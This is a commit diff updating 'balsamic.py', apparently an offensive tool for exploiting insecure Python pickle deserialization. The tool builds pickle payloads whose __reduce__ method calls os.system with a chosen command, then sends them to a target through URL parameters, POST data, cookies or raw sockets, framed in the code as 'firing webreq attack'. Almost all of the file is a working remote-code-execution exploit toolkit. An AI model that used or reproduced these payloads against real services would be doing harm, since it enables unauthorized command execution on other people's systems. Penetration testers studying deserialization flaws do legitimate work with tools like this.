Update balsamic.py

balsamic/balsamic.py

@@ -1,80 +1,84 @@
-#imports
 import pickle
 import base64
 import requests
 import socket
+import argparse
 
-class utility:
-	command=""
+class Utility:
+    command = ""
 
+    @staticmethod
     def b64pickle(payload):
-		p=getattr(payloads,payload)
-		p=base64.b64encode(pickle.dumps(p()))
-		return p
-	def plainpickle(payload):
-		p=getattr(payloads,payload)
-		p=pickle.dumps(p)
-		return p
+        p = getattr(Payloads, payload)
+        return base64.b64encode(pickle.dumps(p()))
 
-class payloads:
+    @staticmethod
+    def urlpickle(payload):
+        p = getattr(Payloads, payload)
+        return base64.urlsafe_b64encode(pickle.dumps(p()))
+
+    @staticmethod
+    def plainpickle(payload):
+        p = getattr(Payloads, payload)
+        return pickle.dumps(p())
+
+class Payloads:
     class oscmd:
         def __reduce__(self):
             import os
-			return (os.system, (utility.command,))
+            return (os.system, (Utility.command,))
 
-def updatecmd(newcmd):
-	utility.command=newcmd
+def updatecmd(new_cmd):
+    Utility.command = new_cmd
 
-def webreq(schema,method,rhost,rport,payload,param=None,cook=None):
-	methods=["get","post","put","patch"]
-	payload=utility.b64pickle(payload)
-	payload=payload.decode("utf-8")
+def webreq(method, url, payload, param=None, cook=None, custom_headers=None):
+    methods = ["get", "post", "put", "patch"]
+    headers = custom_headers or {}
+    payload = Utility.urlpickle(payload)
+    payload = payload.decode("utf-8")
     if method in methods:
-		r=getattr(requests,method)
+        request_method = getattr(requests, method)
     if param:
-		if method == "get":
-			r(f"{schema}://{rhost}:{rport}/?{param}={payload}")
+        data = {param: payload} if method != "get" else {}
+        response = request_method(
+            url,
+            params={param: payload} if method == "get" else None,
+            data=data,
+            cookies={cook: payload} if cook else None,
+            headers=headers
+        )
     else:
-			data={param:payload}
-			r(f"{schema}://{rhost}:{rport}",data=data)
-	else:
-		cookie={cook:payload.decode("utf-8")}
-		r(f"{schema}://{rhost}:{rport}",cookies=cookie)
-	return f"firing webreq attack against {schema}://{rhost} "
+        response = request_method(
+            url,
+            cookies={cook: payload} if cook else None,
+            headers=headers
+        )
+    return f"Firing webreq attack against {url}"
 
-def socksend(rhost,rport,payload, enc, steps=0):
-	rport=int(rport)
-	steps=int(steps)
-	if enc:
-		payload=utility.b64pickle(payload)
-	else:
-		payload=utility.plainpickle(payload)
-	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
-		s.connect((rhost,rport))
-		i=0
-		while i < steps:
-			s.sendall("arb".encode("utf-8"))
+def socksend(rhost, rport, payload, enc, steps=0):
+    rport = int(rport)
+    steps = int(steps)
+    payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
+    with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
+        s.connect((rhost, rport))
+        for _ in range(steps):
+            s.sendall(b"arb")
             s.recv(1024)
-			i+=1
         s.sendall(payload)
         s.close()
-def socklisten(lport,payload, enc, steps=0):
-	lport=int(lport)
-	steps=int(steps)
-	if enc:
-		payload=utility.b64pickle(payload)
-	else:
-		payload=utility.plainpickle(payload)
-	with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
-		s.bind(("",lport))
+
+def socklisten(lport, payload, enc, steps=0):
+    lport = int(lport)
+    steps = int(steps)
+    payload = Utility.b64pickle(payload) if enc else Utility.plainpickle(payload)
+    with socket.socket(socket.AF_INET6, socket.SOCK_STREAM) as s:
+        s.bind(('localhost', lport))  # Bind to localhost or a specific IP address
         s.listen(1)
         conn, addr = s.accept()
-		i=0
         with conn:
-			while i < steps:
-				conn.sendall("arb".encode("utf-8"))
+            for _ in range(steps):
+                conn.sendall(b"arb")
                 conn.recv(1024)
-				i+=1
             conn.sendall(payload)
             conn.close()